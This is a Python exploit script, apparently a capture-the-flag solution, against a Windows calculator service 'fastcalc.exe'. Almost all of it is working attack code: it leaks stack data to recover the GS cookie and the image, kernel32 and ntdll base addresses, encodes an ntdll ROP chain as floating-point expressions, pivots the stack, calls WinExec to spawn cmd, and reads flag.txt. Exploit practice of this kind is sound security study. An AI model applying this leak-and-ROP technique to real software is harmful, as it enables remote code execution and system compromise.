from pwintools import *
import struct

p_local = Process('./fastcalc.exe')
_ = p_local.offsets
DEBUG = False
if DEBUG:
    p = p_local
    #p.spawn_debugger(x96dbg = True, sleep = 3)
    #p.timeout = 1000000
else:
    p = Remote('localhost', 12345)
p.newline = '\r\n'

def menu(p, choice):
    p.recvuntil('Operation: ')
    p.sendline(choice)

def new(p, expr):
    menu(p, 'new')
    p.recvuntil('Enter the expression: ')
    p.sendline(expr)

def run(p, recv_count):
    menu(p, 'run')
    results = []  # (expr, res) both in string form
    for i in range(recv_count):
        p.recvuntil('Expression ')
        expr = p.recvuntil(': ', True)
        if expr[-7:] == ' result':
            expr = expr[:-7]
        res = p.recvline(False)
        results.append((expr, res))
    return results

def quit(p):
    menu(p, 'quit')

# packs double into bytes
def pdbl(dbl):
    return struct.pack('d', dbl)

# unpacks bytes into double
def udbl(dbl_bytes):
    return struct.unpack('d', dbl_bytes)[0]

"""
(PL) | lpParameter       | expr.pChar[0:4]   | expr.pChar[4:8] | expr.pChar[8:0xc] | expr.pChar[0xc:0x10] | expr.len          | expr.capacity
 ... | e[0x100].val[0:4] | e[0x100].val[4:8] | e[0x100].is_chr | e[0x100].field_C  | e[0x101].val[0:4]    | e[0x101].val[4:8] | e[0x101].is_chr | e[0x101].field_C
"""

# taint expr.capacity => assumes string stored in expr.pChar.str
# stack info leak (from ebp-48h to above) @ string::assign(&lpParameter->expr, &expr)
new(p, '+'*0x102)
stack_dump_raw = run(p, 1)[0][0]
stack_dump = [u32(dat) for dat in cut(stack_dump_raw[:(len(stack_dump_raw) & ~0x3)], 4)]
gs_cookie = stack_dump[0xe]
seh_record_1 = stack_dump[0xf]
ebp = seh_record_1 - 0x38
gs_cookie ^= ebp
log.info('&SEH_Record[1] @ main: 0x{:08x}'.format(seh_record_1))
log.info('ebp @ main: 0x{:08x}'.format(ebp))
log.info('GS cookie: 0x{:08x}'.format(gs_cookie))
wmain_seh = stack_dump[0x10]
image_base = wmain_seh - 0x22F7E
log.info('_wmain_SEH: 0x{:08x}'.format(wmain_seh))
log.info('image base: 0x{:08x}'.format(image_base))
assert(image_base & 0xffff == 0)
peb = stack_dump[0x1a]
log.info('PEB: 0x{:08x}'.format(peb))
k32_base = stack_dump[0x25] - (p_local.offsets['kernel32.dll']['BaseThreadInitThunk'] + 0x24)
log.info('kernel32.dll base: 0x{:08x}'.format(k32_base))
assert(k32_base & 0xffff == 0)
ntdll_base = stack_dump[0x2a] - (0x64199 + 0x2f)  # ntdll.__RtlUserThreadStart+2F
log.info('ntdll.dll base: 0x{:08x}'.format(ntdll_base))
assert(ntdll_base & 0xffff == 0)

# cleanup stack leaker
run(p, 1)
run(p, 1)

"""
ntdll image base: 0x4b280000
0x4b2817ad : ret
0x4b29c8ba : pop ebp ; ret
0x4b2edf4a : pop ebx ; pop ebp ; ret
0x4b2f7a12 : pop eax ; pop esi ; pop ebp ; ret
0x4b34ea31 : mov ecx, eax ; mov eax, ecx ; pop esi ; pop ebp ; ret 4
0x4b32559b : mov dword ptr [eax], ecx ; ret
0x4b311b57 : pop esp ; ret
"""

open_ctr = 0

def pair(first, second):
    assert(second & 0x80000000 == 0)
    return '{:.32e}'.format(udbl(p32(first) + p32(second)))

def writer(addr, val):
    global open_ctr
    open_ctr += 5
    payload  = ''
    payload += pair(ntdll_base + 0x4b2f7a12 - 0x4b280000, val) + '+('
    payload += pair(ntdll_base + 0x4b2817ad - 0x4b280000, ntdll_base + 0x4b34ea31 - 0x4b280000) + '+('
    payload += pair(ntdll_base + 0x4b2edf4a - 0x4b280000, 0) + '+('
    payload += pair(ntdll_base + 0x4b2f7a12 - 0x4b280000, addr) + '+('
    payload += pair(ntdll_base + 0x4b32559b - 0x4b280000, ntdll_base + 0x4b2edf4a - 0x4b280000) + '+('
    return payload

# we don't have much space for stack overflow, so let's pivot back into previous stack
# overwrite retaddr & trigger wmain return, pivot stack back into PL.elem
# esp: ebp -> PL.elem -> PL.elem after writing consecutive ROP payload
start = ebp - 0x104c
payload  = ''
payload += writer(start + 0x00, k32_base + p_local.offsets['kernel32.dll']['WinExec'])
payload += writer(start + 0x04, k32_base + p_local.offsets['kernel32.dll']['Sleep'])
payload += writer(start + 0x08, start + 0x18)
payload += writer(start + 0x0c, 10)
payload += writer(start + 0x14, 10000000)
payload += writer(start + 0x18, u32('cmd\0'))
payload += pair(ntdll_base + 0x4b311b57 - 0x4b280000, start)
payload += ')'*open_ctr + '+'*(0x103 - open_ctr*2)
payload += pair(0x0000000f, 0x012345678)
payload += '+' + pair(ntdll_base + 0x4b311b57 - 0x4b280000, start)
new(p, payload)

quit(p)

p.recvuntil('>')
p.sendline('type flag.txt')
p.recvline()
print(p.recvline())